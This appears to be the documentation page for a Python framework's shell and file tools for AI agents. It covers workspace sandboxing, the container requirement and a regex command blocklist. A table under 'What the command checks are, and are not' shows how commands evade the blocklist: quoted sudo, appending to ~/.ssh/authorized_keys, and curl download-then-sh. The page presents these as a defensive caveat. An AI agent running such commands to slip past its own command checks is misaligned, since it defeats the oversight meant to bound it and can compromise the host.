Skip to content

System Tools

System tools give AI agents the ability to execute shell commands and interact with the file system. They are provided as a standalone module — import and pass them via tools=.

Quick Start

from flux import workflow, ExecutionContext
from flux.tasks.ai import agent, system_tools

@workflow.with_options(runner="docker")     # shell requires a container
async def autonomous_agent(ctx: ExecutionContext):
    tools = system_tools(workspace="/path/to/project")

    assistant = await agent(
        "You are an autonomous coding assistant. Use your tools to explore the codebase, "
        "make changes, and run tests.",
        model="anthropic/claude-sonnet-4-20250514",
        tools=tools,
    )

    return await assistant("Refactor the auth module to use async/await")

Configuration

tools = system_tools(
    workspace="/path/to/project",   # Required. Root for file tools, cwd for shell.
    timeout=30,                     # Shell timeout in seconds (default: 30).
    blocklist=None,                 # Shell blocklist patterns (None = defaults).
    max_output_chars=100_000,       # Truncate responses to LLM (default: 100K).
    include_shell=True,             # False builds only file/search/directory tools.
    allow_unsandboxed_shell=False,  # True builds shell without a container.
)

Parameters

  • workspace (required): Absolute path used as the root directory. File tools are sandboxed to this directory. Shell commands use it as their working directory.
  • timeout: Applied to the shell tool via @task.with_options(timeout=...). Default: 30s.
  • blocklist: List of regex patterns. Shell commands matching any pattern are rejected. Pass None for sensible defaults, or [] to disable.
  • max_output_chars: Maximum characters in tool responses. Output beyond this limit is truncated. Default: 100,000.

Tools

Shell

Tool Description
shell Execute a shell command in the workspace directory

The shell tool runs commands with cwd=workspace. It captures stdout, stderr, and exit code. Non-zero exit codes are not errors — the tool returns status: "ok" so the agent can interpret the failure.

Pass stream=True to emit stdout chunks as progress() events for real-time output.

File Operations

Tool Description
read_file Read file contents (full or line range)
write_file Create or overwrite a file
edit_file Search-and-replace edit
file_info File metadata (size, modified, permissions)

All file tools are sandboxed to the workspace directory. Paths are relative to workspace; any attempt to escape (e.g., ../) returns an error.

Tool Description
find_files Find files by glob pattern
grep Search file contents by regex

Directory

Tool Description
list_directory List directory contents with metadata
directory_tree Recursive tree view

Security Model

File tools are sandboxed to the workspace directory. Paths are resolved and checked — symlink escapes, ../ traversals, and absolute paths outside workspace are all rejected.

Shell requires a container. system_tools() refuses to build it unless the execution is containerized, because outside one it runs as the worker user — with that user's ssh keys, cloud credentials and flux.toml.

@workflow.with_options(runner="docker")      # or "docker-airgapped"
async def my_agent(ctx: ExecutionContext):
    tools = system_tools(workspace="./workspace")

For an agent driven through the built-in agents/agent_chat template, the runner is the worker's choice rather than the workflow's — set it on the workers that run agents:

[flux.workers]
runners = ["subprocess", "docker"]
default_runner = "docker"
docker_image = "edurdias/flux:1.2.3-slim"   # the child needs no extras

The container runners set FLUX_RUNNER_SANDBOXED=1 in the child; the tool reads it. For local development, opt out explicitly:

tools = system_tools(workspace="./workspace", allow_unsandboxed_shell=True)

Pass include_shell=False to build the file, search and directory tools without it — those enforce the workspace boundary themselves and need no container.

What the command checks are, and are not

run_security_checks runs twelve pattern checks (fork bombs, rm -rf /, pipe-to-shell, privilege escalation and so on), and a configurable blocklist adds organization-specific patterns.

They are speed bumps, not a boundary. The checks match the raw command string; /bin/sh -c performs quote removal, word splitting and expansion before anything executes, so the same command can be written to evade them:

Written as Why the check misses it
s'u'do -n id the privilege-escalation check needs a contiguous sudo
cd $HOME/.ssh && echo … >> authorized_keys the protected-files check needs the path adjacent to the redirect
curl -s http://host/x -o p && sh p the pipe-to-shell check needs a literal \|
awk 'BEGIN{system("id")}' matches no check at all

Treat them as protection against mistakes, not against an adversary. The container is what bounds a determined command, which is why shell needs one.

Composing With Other Tools

System tools are a plain list[task] — combine them with your own tools:

@task
async def query_database(sql: str) -> str:
    """Run a SQL query against the database."""
    # ...

tools = system_tools(workspace="/path/to/project", allow_unsandboxed_shell=True)
assistant = await agent(
    "You are an assistant with access to the codebase and a database.",
    model="openai/gpt-4o",
    tools=tools + [query_database],
)

To select specific tools:

tools = system_tools(workspace="/path/to/project", allow_unsandboxed_shell=True)
shell_only = [t for t in tools if t.func.__name__ == "shell"]
file_tools = [t for t in tools if t.func.__name__ in ("read_file", "write_file", "edit_file")]